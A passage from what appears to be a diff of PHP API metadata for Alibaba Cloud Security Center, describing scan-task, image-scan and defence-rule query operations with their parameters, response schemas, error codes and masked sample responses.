'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 9\\n },\\n \\"CycleScheduleResponseList\\": [\\n {\\n \\"LastTaskId\\": \\"38730bb078f4a1461d4ed283994c****\\",\\n \\"ConfigId\\": \\"2cdbdeba8dd70586d5814d4cbf21****\\",\\n \\"TargetEndTime\\": 7,\\n \\"NextStartTimeStr\\": 1671184531000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"IntervalPeriod\\": 3,\\n \\"FirstDateStr\\": 1667491200000,\\n \\"Param\\": \\"{\\\\\\"userAgreement\\\\\\":\\\\\\"yes\\\\\\",\\\\\\"lang\\\\\\":\\\\\\"zh\\\\\\"}\\",\\n \\"PeriodUnit\\": \\"day\\",\\n \\"TargetStartTime\\": 0,\\n \\"Enable\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询通用计划任务列表', + ], + 'GetOnceTaskResultInfo' => [ + 'summary' => '查询一次性扫描任务执行结果，包括资产指纹采集、漏洞扫描、镜像安全扫描等任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92308', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + 'FEATUREsasLFD8D4', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'ASSETS_COLLECTION', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'ASSETS_COLLECTION', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描任务ID。', + 'type' => 'string', + 'required' => true, + 'example' => '9dfa3a7eb9547781632785b49003****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CollectTime' => [ + 'description' => '任务运行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671184531000', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'TotalCount' => [ + 'description' => '返回的总数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + 'TaskId' => [ + 'description' => '扫描任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => 'e7b70a4b030db086db52231f1b58****', + ], + 'FinishCount' => [ + 'description' => '任务完成数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '47', + ], + 'TaskInfo' => [ + 'description' => '任务信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务运行的状态。取值：'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'START', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CollectTime\\": 1671184531000,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"TotalCount\\": 44,\\n \\"TaskId\\": 0,\\n \\"FinishCount\\": 47,\\n \\"TaskInfo\\": {\\n \\"Status\\": \\"START\\"\\n }\\n}","type":"json"}]', + 'title' => '查询一次性任务执行结果', + ], + 'GetLastOnceTaskInfo' => [ + 'summary' => '查询最新一次扫描任务运行信息，判断任务是否扫描完成。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端问题诊断任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSETS_COLLECTION**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'ASSETS_COLLECTION', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端问题诊断任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSETS_COLLECTION**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'ASSETS_COLLECTION', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '添加任务的来源。', + 'type' => 'string', + 'required' => false, + 'example' => 'console_batch', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CollectTime' => [ + 'description' => '任务运行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671184531000', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + 'TaskId' => [ + 'description' => '最近一次扫描任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3f65e1f1bb13118891a889d569a3****', + ], + 'FinishCount' => [ + 'description' => '已完成的任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '67', + ], + 'TaskInfo' => [ + 'description' => '最后一次任务信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务运行的状态。取值：'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'description' => '任务进度百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Result' => [ + 'description' => '扫描任务的执行结果。取值：'."\n" + ."\n" + .'- **SUCCESS**：扫描任务执行成功。'."\n" + .'- **TASK\\_NOT\\_SUPPORT_REGION**：镜像在不支持扫描的地域。'."\n" + .'- **TASK_NOT_EXISTS**：任务不存在。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CollectTime\\": 1671184531000,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"TotalCount\\": 44,\\n \\"TaskId\\": 0,\\n \\"FinishCount\\": 67,\\n \\"TaskInfo\\": {\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 69,\\n \\"Result\\": \\"SUCCESS\\"\\n }\\n}","type":"json"}]', + 'title' => '查询最新一次扫描任务运行信息', + ], + 'DescribeOnceTaskLeafRecordPage' => [ + 'summary' => '获取一次性扫描任务结果的子任务的详情，包括镜像扫描及镜像资产同步。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询，当前显示的页数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **IMAGE_SCAN**：镜像扫描'."\n" + .'- **IMAGE\\_REGISTRY\\_PULL**：镜像资产同步', + 'type' => 'string', + 'required' => true, + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + ], + [ + 'name' => 'RelateInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '是否关联扩展信息。', + 'type' => 'boolean', + 'required' => true, + 'example' => 'true', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要获取的任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1471d8ebb96795b41ede090b9758****', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源。', + 'type' => 'string', + 'required' => false, + 'example' => 'console_batch', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1648438617000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1668064495000', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务运行的状态。取值：'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'required' => false, + 'example' => 'INIT', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + ], + ], + 'OnceTasks' => [ + 'description' => '任务详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务详情列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '状态。', + 'type' => 'string', + 'example' => '0', + ], + 'StatusText' => [ + 'description' => '任务运行的状态。取值：'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '75', + ], + 'RealRunTime' => [ + 'description' => '任务执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670307567000', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'Finish' => [ + 'description' => '任务是否完成。'."\n" + .'- **0**：未完成'."\n" + .'- **1**：已完成', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总数，分页查询时生效。', + 'type' => 'string', + 'example' => '30', + ], + 'EndTime' => [ + 'description' => '结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670307567000', + ], + 'TaskType' => [ + 'description' => '任务类型。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'StartTime' => [ + 'description' => '开始执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1640102400000', + ], + 'ResultInfo' => [ + 'description' => '执行结果。', + 'type' => 'string', + 'example' => 'TASK_NOT_SUPPORT_REGION', + ], + 'Target' => [ + 'description' => '任务目标。', + 'type' => 'string', + 'example' => '238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****', + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => '9fb50f2af8bb67c9fdb684194c83****', + ], + 'FinishCount' => [ + 'description' => '已完成的记录数。', + 'type' => 'string', + 'example' => '67', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。'."\n" + .'- **IMAGE_REPO**：镜像仓库。'."\n" + .'- **IMAGE**：镜像。', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'TaskImageInfo' => [ + 'description' => '镜像扫描相关的信息。', + 'type' => 'object', + 'properties' => [ + 'RepoId' => [ + 'description' => '镜像仓库ID。', + 'type' => 'string', + 'example' => 'crr-r88w2vryp8m****', + ], + 'Digest' => [ + 'description' => '镜像digest', + 'type' => 'string', + 'example' => '9e0dc29d872d2e386cc5c0c92b529a84e3acfade16f5cb1d054a2ee3c99****', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'v1.20-002-a2*****', + ], + 'RepoRegionId' => [ + 'description' => '镜像仓库的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'testyyy', + ], + 'RepoNamespace' => [ + 'description' => '镜像命名空间。', + 'type' => 'string', + 'example' => 'bitn***', + ], + 'RegionId' => [ + 'description' => '服务器镜像所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Image' => [ + 'description' => '容器镜像。', + 'type' => 'string', + 'example' => '***s.com/sas_test/baseli***', + ], + 'Pod' => [ + 'description' => '镜像pod信息。', + 'type' => 'string', + 'example' => 'expoit-law-****', + ], + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'ack-jenkins-****', + ], + 'NodeName' => [ + 'description' => '节点的名称。', + 'type' => 'string', + 'example' => 'pztest****', + ], + 'NodeIp' => [ + 'description' => '节点IP地址。', + 'type' => 'string', + 'example' => '172.18.XXX.XXX', + ], + 'NodeInstanceId' => [ + 'description' => '节点实例ID。', + 'type' => 'string', + 'example' => 'i-0xi5mxvtmfw9****', + ], + 'ClusterId' => [ + 'description' => '集群的ID。', + 'type' => 'string', + 'example' => 'a765ba1435e7f9446065370e9a41****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'ACK-test-****', + ], + 'CostTimeInfo' => [ + 'description' => '耗时统计，JSON格式，展示各项的结束时间。'."\n" + .'- **vul**：系统漏洞。'."\n" + .'- **scaVul**：应用漏洞。'."\n" + .'- **baseline**：基线。'."\n" + .'- **binary**：二进制。'."\n" + .'- **forbiddenPackageInfo**：禁止安装。'."\n" + .'- **identificationInfo**：身份鉴别。'."\n" + .'- **script**：恶意脚本。'."\n" + .'- **sensitiveFile**：敏感文件。'."\n" + .'- **sensitiveInfo**：AK检测。'."\n" + .'- **webshell**：网站脚本。', + 'type' => 'string', + 'example' => '{"scaVul":"2023-09-04 09:37:21","identificationInfo":"2023-09-04 09:37:30","forbiddenPackageInfo":"2023-09-04 09:37:16","binary":"2023-09-04 09:37:25","baseline":"2023-09-04 09:37:19","sensitiveFile":"2023-09-04 09:38:34","vul":"2023-09-04 09:37:31","webshell":"2023-09-04 09:38:27","sensitiveInfo":"2023-09-04 09:37:16","script":"2023-09-04 09:39:44"}', + ], + 'RegistryType' => [ + 'description' => '镜像仓库的类型。取值：'."\n" + .'- **acr**：acr。'."\n" + .'- **harbor**：harbor。'."\n" + .'- **quay**：quay。'."\n" + .'- **CI/CD**：CICD仓类型。', + 'type' => 'string', + 'example' => 'acr', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 16,\\n \\"Count\\": 6\\n },\\n \\"OnceTasks\\": [\\n {\\n \\"Status\\": \\"0\\",\\n \\"StatusText\\": \\"SUCCESS\\",\\n \\"Progress\\": 75,\\n \\"RealRunTime\\": 1670307567000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"Finish\\": 1,\\n \\"TotalCount\\": \\"30\\",\\n \\"EndTime\\": 1670307567000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"StartTime\\": 1640102400000,\\n \\"ResultInfo\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"Target\\": \\"238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****\\",\\n \\"TaskId\\": \\"9fb50f2af8bb67c9fdb684194c83****\\",\\n \\"FinishCount\\": \\"67\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"TaskImageInfo\\": {\\n \\"RepoId\\": \\"crr-r88w2vryp8m****\\",\\n \\"Digest\\": \\"9e0dc29d872d2e386cc5c0c92b529a84e3acfade16f5cb1d054a2ee3c99****\\",\\n \\"Tag\\": \\"v1.20-002-a2*****\\",\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoName\\": \\"testyyy\\",\\n \\"RepoNamespace\\": \\"bitn***\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Image\\": \\"***s.com/sas_test/baseli***\\",\\n \\"Pod\\": \\"expoit-law-****\\",\\n \\"AppName\\": \\"ack-jenkins-****\\",\\n \\"NodeName\\": \\"pztest****\\",\\n \\"NodeIp\\": \\"172.18.XXX.XXX\\",\\n \\"NodeInstanceId\\": \\"i-0xi5mxvtmfw9****\\",\\n \\"ClusterId\\": \\"a765ba1435e7f9446065370e9a41****\\",\\n \\"ClusterName\\": \\"ACK-test-****\\",\\n \\"CostTimeInfo\\": \\"{\\\\\\"scaVul\\\\\\":\\\\\\"2023-09-04 09:37:21\\\\\\",\\\\\\"identificationInfo\\\\\\":\\\\\\"2023-09-04 09:37:30\\\\\\",\\\\\\"forbiddenPackageInfo\\\\\\":\\\\\\"2023-09-04 09:37:16\\\\\\",\\\\\\"binary\\\\\\":\\\\\\"2023-09-04 09:37:25\\\\\\",\\\\\\"baseline\\\\\\":\\\\\\"2023-09-04 09:37:19\\\\\\",\\\\\\"sensitiveFile\\\\\\":\\\\\\"2023-09-04 09:38:34\\\\\\",\\\\\\"vul\\\\\\":\\\\\\"2023-09-04 09:37:31\\\\\\",\\\\\\"webshell\\\\\\":\\\\\\"2023-09-04 09:38:27\\\\\\",\\\\\\"sensitiveInfo\\\\\\":\\\\\\"2023-09-04 09:37:16\\\\\\",\\\\\\"script\\\\\\":\\\\\\"2023-09-04 09:39:44\\\\\\"}\\",\\n \\"RegistryType\\": \\"acr\\"\\n }\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取一次性任务的子任务信息', + ], + 'ListSystemRuleAggregationTypes' => [ + 'summary' => '查询系统防御规则的聚类的类型。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为zh。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'result', + 'description' => '查询结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1427F3BE-8A7E-57F9-BD4E-590B00D2****', + ], + 'AggregationTypeList' => [ + 'description' => '查询到的规则聚类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的规则聚类。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '规则聚类ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Name' => [ + 'description' => '规则聚类名称。', + 'type' => 'string', + 'example' => '远程控制****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IdempotentParameterMismatch', + 'errorMessage' => 'The request uses the same client token as a previous, but non-identical request. Do not reuse a client token with different requests, unless the requests are identical.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1427F3BE-8A7E-57F9-BD4E-590B00D2****\\",\\n \\"AggregationTypeList\\": [\\n {\\n \\"Id\\": 1,\\n \\"Name\\": \\"远程控制****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询系统规则聚类的类型', + ], + 'ListClientUserDefineRules' => [ + 'summary' => '查询用户自定义防御规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92326', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => '规则****', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定列表每页显示数据条数 。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393***', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + ], + ], + 'UserDefineRuleList' => [ + 'description' => '规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '自定义规则详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Name' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => '规则****', + ], + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_200****', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '200****', + ], + 'ActionType' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **0**：加白'."\n" + .'- **1**：加黑', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux'."\n" + .'- **all**：全部', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393***\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"UserDefineRuleList\\": [\\n {\\n \\"Type\\": 1,\\n \\"Name\\": \\"规则****\\",\\n \\"SwitchId\\": \\"USER-DEFINE-RULE-SWITCH-TYPE_200****\\",\\n \\"Id\\": 0,\\n \\"ActionType\\": 0,\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取客户端用户自定义规则', + ], + 'ListSystemClientRuleTypes' => [ + 'summary' => '查询系统规则类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925****', + ], + 'RuleTypes' => [ + 'description' => '规则类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：alihips'."\n" + .'- **2**：alinet'."\n" + .'- **3**：alidetect'."\n" + .'- **4**：alisecguard', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925****\\",\\n \\"RuleTypes\\": [\\n \\"1\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询对用户生效的系统规则类型', + ], + 'ListSystemClientRules' => [ + 'summary' => '查询系统防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + 